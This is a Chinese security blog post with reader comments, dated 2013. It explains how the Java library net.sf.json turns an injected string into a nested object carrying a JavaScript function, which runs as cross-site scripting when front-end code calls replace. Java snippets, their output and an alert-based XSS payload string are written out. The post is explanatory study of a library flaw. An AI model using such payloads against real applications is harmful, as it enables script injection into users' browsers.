测试用的是net.sf.json.JSONObject,大家也可以去试试其他JSONObject。

JSONObject json = null;
json = new JSONObject();
json.put("code", 200);
json.put("info", "tester");
json.put("msg", "success");
System.out.println(json);
// 输出:{"code":200,"info":"tester","msg":"success"}

在这里info是一个String,所以,很多前端工程师可能会选择使用Stirng.replace方法转义or过滤特殊字符。

如果在info中注入{‘replace’:function(){alert(/xss/)}}呢?

json = new JSONObject();
json.put("code", 200);
json.put("info", "{'replace':function(){alert(/xss/)}}");
json.put("msg", "success");
System.out.println(json);
// 输出:{"code":200,"info":{"replace":function(){ alert(/xss/) }},"msg":"success"}

JSONObject在输出json串时,info会作为对象输出,并且其中嵌入replace方法,js在使用replace方法转义过滤时,也就调用了嵌入的replace方法。

可以根据不同的场景把info构造成不同的对象,也可以构造成数组[function(){alert(/xss/)}] 或者 简单的函数 function(){alert(/xss/)}

NOTE:这种方式在jQuery中行不通,jQuery会对json串的格式做检查,一般的ajax,还有jsonp可能会存在这种xss问题。

[原文地址]

相关吐槽:

hehe 2013-06-21 1楼

这属于json hijack吗

hehe 2013-06-21

@hehe 我理解是转换对象的时候自定义的replace方法(xss)hijack了原有replace方法,是这个意思?

door2guest (2级) 2013-06-21

@hehe 可以这么理解。 这里重点是可以控制输出json的结构。

园长MM (1级) 2013-06-21 2楼

这跟用JSONOBJECT没什么关系,明显后端提供的数据有问题

door2guest (2级) 2013-06-22

@园长MM 文章说的就是后端输出json导致的问题,可以控制info改变json的结构。

园长MM (1级) 2013-06-22

@door2guest 昨晚睡的代码没贴上,debug了下其实是直接用object put’会有问题,在转换的时候JsonObject抛了一个JsonException异常,也就是说转换后的json代码是有问题的。把实现方式改成Map<String,Object> 然后再put、然后再fromObject是没问题的。

天气有点热 (1级) 2013-06-22 3楼

net.sf.json代码片段:

import net.sf.json.JSONObject;
public class Test {
public static void main(String[] args) {
JSONObject json = new JSONObject();
json.put(“key”, “{‘replace’:function(){alert(/xss/)}}”);
System.out.println(json);
System.out.println(((JSONObject)json.get(“key”)).get(“replace”));
}
}

org.json代码片段:

import org.json.JSONException;
import org.json.JSONObject;
public class Test {
public static void main(String[] args) throws JSONException {
JSONObject json = new JSONObject();
json.put(“key”, “{‘replace’:function(){alert(/xss/)}}”);
System.out.println(json);
System.out.println(((JSONObject)json.get(“key”)).get(“replace”));
}
}

使用net.sf.json输出结果是:

{"key":{"replace":function(){ alert(/xss/) }}}
function(){ alert(/xss/) }

这里net.sf.json的value实际是一个JSONObject对象,所以还可以调用注入value中JSONObject对象,这是net.sf.json正常的嵌套功能,但是它不符合js json的标准

使用org.json输出结果是:

{"key":"{'replace':function(){alert(/xss/)}}"}
Exception in thread "main" java.lang.ClassCastException: java.lang.String cannot be cast to org.json.JSONObject
at Test.main(Test.java:20)

org.json是符合js json标准的,它的value就是个String,cast成JSONObject就报异常了.

其实就是个net.sf.json的json与js json输出标准不一样造成的,从而可以控制输出端的内容,通过构造在前端做某些js函数操作时,其内容会被当成js语句块执行,就是上面的xss了

那为什么不用org.json,要用net.sf.json了?因为net.sf.json更为强大(比如:多层嵌套(类似迭代器),javabean转换等)

天气有点热 (1级) 2013-06-22

@天气有点热 编辑器这么坑爹,第一个

怎么就匹配最后一个[/code]了,不是应该匹配最近的一个

吗?

door2guest (2级) 2013-06-22

@天气有点热 总结的非常好